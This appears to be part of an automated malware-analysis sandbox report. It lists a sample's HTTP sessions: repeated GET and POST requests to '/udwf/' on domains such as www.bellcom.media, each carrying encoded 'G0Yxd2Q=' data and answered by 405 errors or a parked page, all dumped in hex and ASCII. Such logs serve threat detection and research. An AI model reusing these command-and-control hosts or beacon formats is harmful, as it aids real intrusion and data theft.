G0Yxd2Q=aBEO7CI58E9LNjdyOvtezXM7OEmuBdWB5EWcuxNHDiIxd0WC0Y/xDY8VQo2h/JtxZEEj/hfMdIxF5nbuuaMBkkzz27iXCrQm7G3G8NKs7Kd9+muAL8yBDRoyZkRnJxYa8XySR3plh6b3krk3T0Zv/cJBQ8eezVenRbgdNHHjSWXCwceAuCkvLYf4sBwUhZUKf6RgF0a7EKeqfh9i3VpaV9xyulyGJpwRxDOAh1bvjZzQaXjQqHFZJ05Bh+Lq9sUGPezEXg8emHasArBIGtUES4fZMjTBJ7ZocLK7PrBJ5ap4b6m0uJVDPRVTqEKo/b81KwQrrEHiwSwEoukrygeJNQkPwdllZd0RTEEPro0pXMU/gHRDJ07cGsvJWJ8wJUP72G9fr1pR/3r+25JDogbBPXalWU9D27gkGDTmqGNQzssne2Hs/rRKQ8mkUIxZunehp+ti387IBjEvT2WmlNmt3qoWd3ewExeVV8dXUBR4VOC2+n94xFDwiDcoROV5HfGfni+dL33n+TSFGQ1SUDRvrZMNiGgG2ychmPOrwCQRlt9zOmtgTcQjKCod9mPylChTtL6pidHpF654WYnbylSDtvqCl+D2NOI5ltG88/g+VqfpTB/C3JWZT5LOZUKb0XBFzMUsfCzcC+M89VAY3fIr0ffC18lOLuOknb/dNR8aePDQ7NmvBvpJ2CBE4tPpJ9smhembRIkd5/Tm+yBzHhxWuDCGz+qlIWjygFXzDQz0Di+2fe01UI6ennU1+r9bRy81aVRjz7o65v8Fm2ru/TP4/vEvQCGRjzi2bPrmJaaB9MVsawInUzBw2Nl3yQA3NakKXtiKD0baLZ8eqUdCa8KqipKVxnOUIzB9xi6QJau+diRWHOTjDpDg2Pw8ET/Hu7HF3L7+lIQRxhUJPZHKrBxFIfDNdLTkx7OyEkMgt96BHCjTk905bIj++NvQTGahSTJ/IFtnLmJv3ozhqLTRF7pt39SISyTwN7w/W5wWbrFoyNj4p9bc8kV60lX1bCsPn4NMI0GGMcFUMDxnV2vef5+AjgjzY22fjk2ALdAqXixnaQWCnhhGpilXfhZY19b2YJN0QSkywtj/J9FAg1juBguw+ovL9IdxIcWjM+lSsaU8y/1nwiXzgQecTCFAffVquHkCaIe1+DRB2HMlI7bl457jqbqp1jAlUVfWb97qE3MGReF3x0kRGCsN7zNMGZti
Nov 10, 2023 09:31:07.909116983 CET	345	IN	HTTP/1.1 405 Not Allowed date: Fri, 10 Nov 2023 08:31:07 GMT content-type: text/html content-length: 154 server: NginX connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 35 20 4e 6f 74 20 41 6c 6c 6f 77 65 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 35 20 4e 6f 74 20 41 6c 6c 6f 77 65 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>405 Not Allowed</title></head><body><center><h1>405 Not Allowed</h1></center><hr><center>openresty</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
55	192.168.2.10	49771	91.195.240.19	80	C:\Program Files (x86)\dNAGqKTZGUAwaxVqazHCxkYGeHKBIiEYPiPMKrHtQXpznvGBaeqnolUoXkFHVbdDlBIbtsRYWxSQYDD\xIXlFDyvSnsfUSfsjsGwj.exe

Timestamp	kBytes transferred	Direction	Data
Nov 10, 2023 09:31:12.865883112 CET	346	OUT	GET /udwf/?G0Yxd2Q=XDsu41kr/WE9JT9AScR/+1k0JlKiFIG701T/ujNzDh06TiWTrNXnD44RUNnX/KpbWGAw0lPsPrhbwlOTmOIr6R/DwJG4M7kG+w==&pp=dZa4 HTTP/1.1 Host: www.westcoastmedia.marketing Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8 Accept-Language: en-US,en;q=0.9 Connection: close User-Agent: Mozilla/5.0 (iPad; CPU OS 8_4 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) Version/8.0 Mobile/12H143 Safari/600.1.4
Nov 10, 2023 09:31:13.204938889 CET	347	IN	HTTP/1.1 200 OK date: Fri, 10 Nov 2023 08:31:13 GMT content-type: text/html; charset=UTF-8 transfer-encoding: chunked vary: Accept-Encoding x-powered-by: PHP/8.1.17 expires: Mon, 26 Jul 1997 05:00:00 GMT cache-control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 pragma: no-cache x-adblock-key: MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBANnylWw2vLY4hUn9w06zQKbhKBfvjFUCsdFlb6TdQhxb9RXWXuI4t31c+o8fYOv/s8q1LGPga3DE1L/tHU4LENMCAwEAAQ==_la4oIoXL1u9nRopmd8UCD1eLSSfRJulQyjea9uKJHVbCCmEd2l0tePfspS9EWL9y+7/aoQHxtA7MGMAlCcT8Uw== last-modified: Fri, 10 Nov 2023 08:31:13 GMT x-cache-miss-from: parking-698fb476bf-mbx66 server: NginX connection: close Data Raw: 38 34 34 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 20 64 61 74 61 2d 61 64 62 6c 6f 63 6b 6b 65 79 3d 4d 46 77 77 44 51 59 4a 4b 6f 5a 49 68 76 63 4e 41 51 45 42 42 51 41 44 53 77 41 77 53 41 4a 42 41 4e 6e 79 6c 57 77 32 76 4c 59 34 68 55 6e 39 77 30 36 7a 51 4b 62 68 4b 42 66 76 6a 46 55 43 73 64 46 6c 62 36 54 64 51 68 78 62 39 52 58 57 58 75 49 34 74 33 31 63 2b 6f 38 66 59 4f 76 2f 73 38 71 31 4c 47 50 67 61 33 44 45 31 4c 2f 74 48 55 34 4c 45 4e 4d 43 41 77 45 41 41 51 3d 3d 5f 6c 61 34 6f 49 6f 58 4c 31 75 39 6e 52 6f 70 6d 64 38 55 43 44 31 65 4c 53 53 66 52 4a 75 6c 51 79 6a 65 61 39 75 4b 4a 48 56 62 43 43 6d 45 64 32 6c 30 74 65 50 66 73 70 53 39 45 57 4c 39 79 2b 37 2f 61 6f 51 48 78 74 41 37 4d 47 4d 41 6c 43 63 54 38 55 77 3d 3d 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 3c 74 69 74 6c 65 3e 77 65 73 74 63 6f 61 73 74 6d 65 64 69 61 2e 6d 61 72 6b 65 74 69 6e 67 26 6e 62 73 70 3b 2d 26 6e 62 73 70 3b 77 65 73 74 63 6f 61 73 74 6d 65 64 69 61 20 52 65 73 6f 75 72 63 65 73 20 61 6e 64 20 49 6e 66 6f 72 6d 61 74 69 6f 6e 2e 3c 2f 74 69 74 6c 65 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 2c 6d 61 78 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2e 30 2c 75 73 65 72 2d 73 63 61 6c 61 62 6c 65 3d 30 22 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 64 65 73 63 72 69 70 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 77 65 73 74 63 6f 61 73 74 6d 65 64 69 61 2e 6d 61 72 6b 65 74 69 6e 67 20 69 73 20 79 6f 75 72 20 66 69 72 73 74 20 61 6e 64 20 62 65 73 74 20 73 6f 75 72 63 65 20 66 6f 72 20 61 6c 6c 20 6f 66 20 74 68 65 20 69 6e 66 6f 72 6d 61 74 69 6f 6e 20 79 6f 75 e2 80 99 Data Ascii: 844<!DOCTYPE html><html lang="en" data-adblockkey=MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBANnylWw2vLY4hUn9w06zQKbhKBfvjFUCsdFlb6TdQhxb9RXWXuI4t31c+o8fYOv/s8q1LGPga3DE1L/tHU4LENMCAwEAAQ==_la4oIoXL1u9nRopmd8UCD1eLSSfRJulQyjea9uKJHVbCCmEd2l0tePfspS9EWL9y+7/aoQHxtA7MGMAlCcT8Uw==><head><meta charset="utf-8"><title>westcoastmedia.marketing - westcoastmedia Resources and Information.</title><meta name="viewport" content="width=device-width,initial-scale=1.0,maximum-scale=1.0,user-scalable=0"><meta name="description" content="westcoastmedia.marketing is your first and best source for all of the information you
Nov 10, 2023 09:31:13.204988003 CET	348	IN	Data Raw: 72 65 20 6c 6f 6f 6b 69 6e 67 20 66 6f 72 2e 20 46 72 6f 6d 20 67 65 6e 65 72 61 6c 20 74 6f 70 69 63 73 20 74 6f 20 6d 6f 72 65 20 6f 66 20 77 68 61 74 20 79 6f 75 20 77 6f 75 6c 64 20 65 78 70 65 63 74 20 74 6f 20 66 69 6e 64 20 68 65 72 65 2c Data Ascii: re looking for. From general topics to more of what you would expect to find here, westcoastmedia.marketing has it all. We hope you find what you are searching for!"><link rel="icon" type="image/png" href="//img.sedopar
Nov 10, 2023 09:31:13.205024004 CET	349	IN	Data Raw: 61 69 6e 2c 6e 61 76 2c 73 65 63 74 69 6f 6e 2c 73 75 6d 6d 61 72 79 7b 64 69 73 70 6c 61 79 3a 62 6c 6f 63 6b 7d 61 75 64 69 6f 2c 63 61 6e 76 61 73 2c 76 69 64 65 6f 7b 64 69 73 70 6c 61 79 3a 69 6e 6c 69 6e 65 2d 62 6c 6f 63 6b 3b 2a 64 69 73 Data Ascii: ain,nav,section,summary{display:block}audio,canvas,video{display:inline-block;display:inline;zoom:1}audio:not([controls]){display:none;height:0}[hidden]{display:none}html{font-size:100%;-ms-text-size-adjust:100%;-web1062kit-text-size-adj
Nov 10, 2023 09:31:13.205060005 CET	351	IN	Data Raw: 65 3a 62 69 63 75 62 69 63 7d 73 76 67 3a 6e 6f 74 28 3a 72 6f 6f 74 29 7b 6f 76 65 72 66 6c 6f 77 3a 68 69 64 64 65 6e 7d 66 69 67 75 72 65 7b 6d 61 72 67 69 6e 3a 30 7d 66 6f 72 6d 7b 6d 61 72 67 69 6e 3a 30 7d 66 69 65 6c 64 73 65 74 7b 62 6f Data Ascii: e:bicubic}svg:not(:root){overflow:hidden}figure{margin:0}form{margin:0}fieldset{border:0 none;margin:0;padding:0}legend{border:0;padding:0;white-space:normal;*margin-left:-7px}button,input,select,textarea{font-size:100%;margin:0;vertical-align
Nov 10, 2023 09:31:13.205097914 CET	352	IN	Data Raw: 69 64 74 68 3a 31 34 34 30 70 78 7d 2e 6e 63 2d 63 6f 6e 74 61 69 6e 65 72 7b 77 69 64 74 68 3a 31 30 30 25 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 63 65 6e 74 65 72 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 31 30 70 78 7d 2e 6e 63 2d 63 6f 6e 74 61 69 6e Data Ascii: idth:1440px}.nc-container{width:100%;text-align:center;margin-top:10px}.nc-container span{font-family:Ariel,sans-serif;font-size:16px;color:#888}.content-disclaimer{font-size:10px}.content-disclaimer .sedologo{float:left;padding:0 10px 0 0}.co
Nov 10, 2023 09:31:13.205136061 CET	354	IN	Data Raw: 62 6f 74 74 6f 6d 3a 31 35 70 78 7d 23 63 6f 6e 74 61 69 6e 65 72 2d 63 6f 6f 6b 69 65 2d 6d 65 73 73 61 67 65 20 70 2c 23 63 6f 6e 74 61 69 6e 65 72 2d 63 6f 6f 6b 69 65 2d 6d 65 73 73 61 67 65 20 61 7b 63 6f 6c 6f 72 3a 23 61 30 61 30 61 30 7d Data Ascii: bottom:15px}#container-cookie-message p,#container-cookie-message a{color:#a0a0a0}#container-cookie-message p{margin-left:5%;margin-right:5%}.content-buybox{background:linear-gradient(to bottom, #666666 0%, #010101 100%);border-bottom:1px soli
Nov 10, 2023 09:31:13.205173016 CET	355	IN	Data Raw: 6f 6e 74 65 6e 74 2d 77 65 62 61 72 63 68 69 76 65 20 64 69 76 20 2e 77 65 62 61 72 63 68 69 76 65 2d 62 6c 6f 63 6b 7b 70 61 64 64 69 6e 67 3a 37 70 78 20 30 7d 2e 63 6f 6e 74 65 6e 74 2d 77 65 62 61 72 63 68 69 76 65 20 64 69 76 20 2e 77 65 62 Data Ascii: ontent-webarchive div .webarchive-block{padding:7px 0}.content-webarchive div .webarchive-block h3{font-weight:bold}.content-webarchive div .webarchive-block h3 a:link,.content-webarchive div .webarchive-block h3 a:visited{text-decoration:none
Nov 10, 2023 09:31:13.205212116 CET	356	IN	Data Raw: 65 74 5f 6c 69 6d 65 2e 67 69 66 22 29 3b 66 6c 6f 61 74 3a 72 69 67 68 74 3b 70 61 64 64 69 6e 67 3a 30 7d 2e 63 6f 6e 74 65 6e 74 2d 77 65 62 61 72 63 68 69 76 65 20 64 69 76 20 2e 77 65 62 61 72 63 68 69 76 65 2d 62 6c 6f 63 6b 20 75 6c 20 6c Data Ascii: et_lime.gif");float:right;padding:0}.content-webarchive div .webarchive-block ul li a:link,.content-webarchive div .webarchive-block ul li a:visited{text-decoration:none}.content-webarchive div .webarchive-block ul li a:active,.content-webarch
Nov 10, 2023 09:31:13.205266953 CET	357	IN	Data Raw: 6e 74 2d 61 64 73 20 75 6c 20 6c 69 20 68 33 20 61 3a 76 69 73 69 74 65 64 7b 63 6f 6c 6f 72 3a 23 39 66 64 38 30 31 7d 2e 63 6f 6e 74 65 6e 74 2d 61 64 73 20 75 6c 20 6c 69 20 68 33 20 61 3a 68 6f 76 65 72 2c 2e 63 6f 6e 74 65 6e 74 2d 61 64 73 Data Ascii: nt-ads ul li h3 a:visited{color:#9fd801}.content-ads ul li h3 a:hover,.content-ads ul li h3 a:active,.content-ads ul li h3 a:focus{color:#e57921}.content-ads ul li p{color:#c1c1c1}.content-ads ul li p a:link,.content-ads ul li p a:visited{colo
Nov 10, 2023 09:31:13.205303907 CET	359	IN	Data Raw: 41 45 43 0d 0a 74 69 6f 6e 3a 6e 6f 6e 65 7d 2e 63 6f 6e 74 65 6e 74 2d 77 65 62 61 72 63 68 69 76 65 20 64 69 76 20 64 69 76 2e 77 65 62 61 72 63 68 69 76 65 2d 62 6c 6f 63 6b 20 75 6c 20 6c 69 20 61 3a 6c 69 6e 6b 2c 2e 63 6f 6e 74 65 6e 74 2d Data Ascii: AECtion:none}.content-webarchive div div.webarchive-block ul li a:link,.content-webarchive div div.webarchive-block ul li a:visited{color:#9fd801}.content-webarchive div div.webarchive-block ul li a:hover,.content-webarchive div div.webarchi
Nov 10, 2023 09:31:13.512258053 CET	360	IN	Data Raw: 2e 63 6f 6e 74 65 6e 74 2d 61 64 73 20 75 6c 20 6c 69 20 64 69 76 7b 70 61 64 64 69 6e 67 2d 6c 65 66 74 3a 33 35 70 78 7d 2e 63 6f 6e 74 65 6e 74 2d 61 64 73 20 75 6c 20 6c 69 20 64 69 76 20 68 33 20 61 7b 66 6f 6e 74 2d 73 69 7a 65 3a 32 33 70 Data Ascii: .content-ads ul li div{padding-left:35px}.content-ads ul li div h3 a{font-size:23px;text-transform:uppercase;font-weight:bold}.content-ads ul li div p{padding:.3em 0 .6em 0;font-size:1.2em}.content-ads ul li div p a{font-size:1em}ul li{word-wr

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
6	192.168.2.10	49720	91.195.240.123	80	C:\Program Files (x86)\dNAGqKTZGUAwaxVqazHCxkYGeHKBIiEYPiPMKrHtQXpznvGBaeqnolUoXkFHVbdDlBIbtsRYWxSQYDD\xIXlFDyvSnsfUSfsjsGwj.exe

Timestamp	kBytes transferred	Direction	Data
Nov 10, 2023 09:28:02.481271982 CET	106	OUT	POST /udwf/ HTTP/1.1 Host: www.bellcom.media Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate Origin: http://www.bellcom.media Referer: http://www.bellcom.media/udwf/ Content-Type: application/x-www-form-urlencoded Content-Length: 208 Connection: close Cache-Control: no-cache User-Agent: Mozilla/5.0 (iPad; CPU OS 8_4 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) Version/8.0 Mobile/12H143 Safari/600.1.4 Data Raw: 47 30 59 78 64 32 51 3d 79 64 76 54 73 32 53 48 37 61 39 53 68 50 62 73 4a 4d 4d 48 39 73 4f 70 39 36 46 37 57 4c 42 74 6f 43 73 30 2b 41 42 36 4b 5a 6f 73 44 64 6b 30 46 36 7a 6a 73 5a 49 51 4f 64 76 2f 33 30 69 38 72 7a 33 34 59 55 57 71 6c 2f 47 4f 30 6c 6a 38 4e 75 42 55 79 62 6c 79 37 72 68 56 45 4f 4a 41 6c 4f 4d 54 51 61 73 67 63 48 75 45 53 6d 4a 2b 78 78 75 6e 78 45 39 50 7a 61 44 4e 73 6c 31 4d 76 4f 6a 75 46 62 68 30 6c 50 61 6b 6b 54 63 79 50 6e 59 35 54 6b 4a 37 65 36 59 71 36 73 33 48 6a 46 52 33 32 78 64 4d 71 39 48 62 51 58 6c 32 47 53 76 35 5a 58 71 4d 37 42 5a 76 62 2b 38 78 33 56 6c 79 36 50 67 3d Data Ascii: G0Yxd2Q=ydvTs2SH7a9ShPbsJMMH9sOp96F7WLBtoCs0+AB6KZosDdk0F6zjsZIQOdv/30i8rz34YUWql/GO0lj8NuBUybly7rhVEOJAlOMTQasgcHuESmJ+xxunxE9PzaDNsl1MvOjuFbh0lPakkTcyPnY5TkJ7e6Yq6s3HjFR32xdMq9HbQXl2GSv5ZXqM7BZvb+8x3Vly6Pg=
Nov 10, 2023 09:28:02.789205074 CET	107	IN	HTTP/1.1 405 Not Allowed date: Fri, 10 Nov 2023 08:28:02 GMT content-type: text/html content-length: 154 server: NginX connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 35 20 4e 6f 74 20 41 6c 6c 6f 77 65 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 35 20 4e 6f 74 20 41 6c 6c 6f 77 65 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>405 Not Allowed</title></head><body><center><h1>405 Not Allowed</h1></center><hr><center>openresty</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
7	192.168.2.10	49722	91.195.240.123	80	C:\Program Files (x86)\dNAGqKTZGUAwaxVqazHCxkYGeHKBIiEYPiPMKrHtQXpznvGBaeqnolUoXkFHVbdDlBIbtsRYWxSQYDD\xIXlFDyvSnsfUSfsjsGwj.exe

Timestamp	kBytes transferred	Direction	Data
Nov 10, 2023 09:28:05.310724020 CET	140	OUT	POST /udwf/ HTTP/1.1 Host: www.bellcom.media Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate Origin: http://www.bellcom.media Referer: http://www.bellcom.media/udwf/ Content-Type: application/x-www-form-urlencoded Content-Length: 1220 Connection: close Cache-Control: no-cache User-Agent: Mozilla/5.0 (iPad; CPU OS 8_4 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) Version/8.0 Mobile/12H143 Safari/600.1.4 Data Raw: 47 30 59 78 64 32 51 3d 79 64 76 54 73 32 53 48 37 61 39 53 68 50 62 73 4a 4d 4d 48 39 73 4f 70 39 36 46 37 57 4c 42 74 6f 43 73 30 2b 41 42 36 4b 5a 67 73 43 76 63 30 45 5a 62 6a 76 5a 49 51 50 64 76 2b 33 30 69 62 72 7a 76 38 59 55 61 36 6c 36 43 4f 37 6a 2f 38 4c 63 70 55 6f 4c 6c 79 35 72 68 51 4c 75 49 43 6c 4f 63 58 51 65 77 67 63 48 75 45 53 6c 52 2b 34 44 47 6e 33 45 39 4d 6b 71 44 4a 6f 6c 30 43 76 50 48 55 46 62 73 4a 6c 2b 36 6b 68 44 73 79 41 31 77 35 52 45 4a 31 64 36 5a 31 36 73 72 49 6a 46 4d 4f 32 31 56 79 71 2f 6e 62 54 67 6b 75 43 42 50 41 61 47 6e 56 79 69 4d 6d 51 75 46 57 6a 58 39 4f 76 70 6e 78 4c 73 57 74 4a 6a 2b 46 4b 2b 67 74 5a 55 38 77 49 62 57 61 68 79 53 4a 37 43 6d 67 37 59 68 52 36 32 65 74 72 4b 74 58 73 57 6d 35 6e 2f 5a 53 72 49 68 37 33 69 4b 32 45 71 6d 62 77 4e 42 33 4d 4f 6d 43 32 6e 2f 36 6a 62 51 70 4b 48 71 78 77 46 70 6b 37 4c 69 35 6c 47 45 77 54 75 67 65 41 54 61 38 4c 62 73 70 6f 59 70 6a 47 71 52 6b 2f 66 5a 50 58 76 58 39 6d 62 75 69 48 7a 50 37 4f 6a 39 77 36 55 76 68 35 45 34 6d 51 47 38 72 55 63 68 4d 75 66 53 72 66 48 70 55 55 79 48 54 57 76 72 4e 5a 69 59 55 42 36 31 71 77 72 62 75 63 46 55 4b 45 45 76 61 33 6c 36 34 41 38 6b 36 51 67 54 63 51 32 58 51 74 5a 67 4a 61 65 4e 46 67 47 30 50 34 6d 6b 63 45 64 76 6d 4a 34 2b 6c 59 6a 64 39 76 6c 5a 45 58 2f 54 77 77 77 77 53 50 37 51 73 73 78 72 38 4d 66 34 58 50 76 34 58 2b 59 30 63 6e 7a 36 63 33 74 4f 71 64 6b 4c 67 68 4c 44 70 4a 4e 41 55 64 39 54 32 50 64 52 69 4e 6e 62 47 4a 4d 78 6d 53 51 6c 66 2f 33 4f 41 33 77 53 71 59 77 75 74 6d 56 43 71 37 62 74 74 2f 34 79 7a 53 38 46 6b 38 71 31 4e 78 78 69 49 5a 62 6e 36 6d 58 46 79 55 71 47 36 6f 44 38 38 4c 32 4a 43 72 77 4e 6e 6c 34 34 64 77 6a 66 47 56 7a 36 2b 57 30 2b 5a 46 2f 53 35 49 6d 52 46 4f 4a 52 4b 71 35 6b 34 73 73 41 4d 36 39 31 6d 46 5a 50 2f 52 6c 5a 59 49 72 55 44 31 6d 67 77 75 77 36 45 6b 6c 6f 4b 54 74 32 6b 37 53 79 7a 61 41 39 6e 79 42 39 4a 70 73 55 4a 42 64 6c 67 75 43 79 6f 6f 52 73 46 39 6b 62 38 33 47 56 65 4a 64 70 50 59 68 6b 35 73 57 4d 47 6d 65 45 52 44 62 58 48 54 72 35 71 2b 71 58 45 58 75 4f 6b 46 37 57 45 45 6b 38 6d 79 79 66 42 4e 4f 58 4d 47 64 72 6e 69 37 4e 30 6d 36 46 46 4b 2b 75 34 45 30 63 71 74 4f 49 66 6d 4d 51 58 70 31 43 70 6d 2b 73 6f 57 35 72 77 7a 65 4f 70 73 63 38 49 49 76 68 61 5a 4c 35 47 54 2b 57 72 53 4a 41 63 34 46 51 38 46 30 49 33 61 35 45 51 77 64 79 46 33 57 74 79 61 77 6f 2b 32 4a 71 77 52 74 77 6f 73 74 2f 56 51 35 47 6b 42 71 62 4a 70 6d 69 67 44 6f 32 71 37 48 48 77 42 6e 69 4c 30 73 4e 31 42 54 58 43 75 54 66 64 58 48 35 2f 4e 6d 7a 49 48 4b 72 4e 6d 4d 65 51 73 71 4c 46 52 64 34 4b 5a 36 2f 46 41 71 65 41 33 5a 45 77 50 2b 66 45 4f 70 2b 7a 4f 54 41 41 68 67 2b 4b 53 38 58 59 68 2b 76 66 74 69 68 74 69 48 55 52 42 47 68 51 39 55 63 4c 77 62 37 4c 4b 75 47 36 39 58 38 66 32 63 4a 66 37 64 4a 63 47 37 35 41 2b 35 57 6e 6b 52 66 41 6f 70 41 61 4c 71 38 42 2f 31 62 56 43 4a 6b 37 6c 30 50 49 33 6e 6d 6e 39 50 30 5a 53 68 77 61 56 59 67 39 49 46 53 38 6e 4d 72 4e 6f 72 37 73 53 65 32 67 47 68 51 53 49 51 4b 36 50 73 55 44 30 68 51 36 35 68 43 67 72 4c 62 66 76 4f 58 58 68 33 57 69 6c 55 79 50 48 33 78 68 47 4b 2b 4b 2f 46 59 7a 73 54 57 38 47 45 49 37 73 57 6f 62 67 66 70 7a 53 42 47 72 33 58 4f 4b 63 49 44 75 74 45 6e 63 38 6f 4d 61 78 66 53 74 70 52 54 65 42 61 75 4d 6b 62 46 69 46 49 4f 2b 57 39 33 65 6b 52 56 56 6c 52 7a 52 48 6e 58 67 57 39 4e 58 68 45 73 4f 5a 38 4f 42 45 6d 4e 53 6a 2b 64 43 4c 75 6a 2f 63 46 75 6a 62 4e 54 73 39 71 47 34 47 70 6f 4b 64 52 45 6c 55 78 61 4e 57 74 69 55 74 4a 47 4b 57 73 4d 57 57 6d 55 48 39 6d 49 45 64 72 78 76 52 69 6a 42 35 33 5a 74 53 49 42 79 Data Ascii: G0Yxd2Q=ydvTs2SH7a9ShPbsJMMH9sOp96F7WLBtoCs0+AB6KZgsCvc0EZbjvZIQPdv+30ibrzv8YUa6l6CO7j/8LcpUoLly5rhQLuIClOcXQewgcHuESlR+4DGn3E9MkqDJol0CvPHUFbsJl+6khDsyA1w5REJ1d6Z16srIjFMO21Vyq/nbTgkuCBPAaGnVyiMmQuFWjX9OvpnxLsWtJj+FK+gtZU8wIbWahySJ7Cmg7YhR62etrKtXsWm5n/ZSrIh73iK2EqmbwNB3MOmC2n/6jbQpKHqxwFpk7Li5lGEwTugeATa8LbspoYpjGqRk/fZPXvX9mbuiHzP7Oj9w6Uvh5E4mQG8rUchMufSrfHpUUyHTWvrNZiYUB61qwrbucFUKEEva3l64A8k6QgTcQ2XQtZgJaeNFgG0P4mkcEdvmJ4+lYjd9vlZEX/TwwwwSP7Qssxr8Mf4XPv4X+Y0cnz6c3tOqdkLghLDpJNAUd9T2PdRiNnbGJMxmSQlf/3OA3wSqYwutmVCq7btt/4yzS8Fk8q1NxxiIZbn6mXFyUqG6oD88L2JCrwNnl44dwjfGVz6+W0+ZF/S5ImRFOJRKq5k4ssAM691mFZP/RlZYIrUD1mgwuw6EkloKTt2k7SyzaA9nyB9JpsUJBdlguCyooRsF9kb83GVeJdpPYhk5sWMGmeERDbXHTr5q+qXEXuOkF7WEEk8myyfBNOXMGdrni7N0m6FFK+u4E0cqtOIfmMQXp1Cpm+soW5rwzeOpsc8IIvhaZL5GT+WrSJAc4FQ8F0I3a5EQwdyF3Wtyawo+2JqwRtwost/VQ5GkBqbJpmigDo2q7HHwBniL0sN1BTXCuTfdXH5/NmzIHKrNmMeQsqLFRd4KZ6/FAqeA3ZEwP+fEOp+zOTAAhg+KS8XYh+vftihtiHURBGhQ9UcLwb7LKuG69X8f2cJf7dJcG75A+5WnkRfAopAaLq8B/1bVCJk7l0PI3nmn9P0ZShwaVYg9IFS8nMrNor7sSe2gGhQSIQK6PsUD0hQ65hCgrLbfvOXXh3WilUyPH3xhGK+K/FYzsTW8GEI7sWobgfpzSBGr3XOKcIDutEnc8oMaxfStpRTeBauMkbFiFIO+W93ekRVVlRzRHnXgW9NXhEsOZ8OBEmNSj+dCLuj/cFujbNTs9qG4GpoKdRElUxaNWtiUtJGKWsMWWmUH9mIEdrxvRijB53ZtSIBy
Nov 10, 2023 09:28:05.615788937 CET	141	IN	HTTP/1.1 405 Not Allowed date: Fri, 10 Nov 2023 08:28:05 GMT content-type: text/html content-length: 154 server: NginX connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 35 20 4e 6f 74 20 41 6c 6c 6f 77 65 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 35 20 4e 6f 74 20 41 6c 6c 6f 77 65 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>405 Not Allowed</title></head><body><center><h1>405 Not Allowed</h1></center><hr><center>openresty</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
8	192.168.2.10	49723	91.195.240.123	80	C:\Program Files (x86)\dNAGqKTZGUAwaxVqazHCxkYGeHKBIiEYPiPMKrHtQXpznvGBaeqnolUoXkFHVbdDlBIbtsRYWxSQYDD\xIXlFDyvSnsfUSfsjsGwj.exe

Timestamp	kBytes transferred	Direction	Data
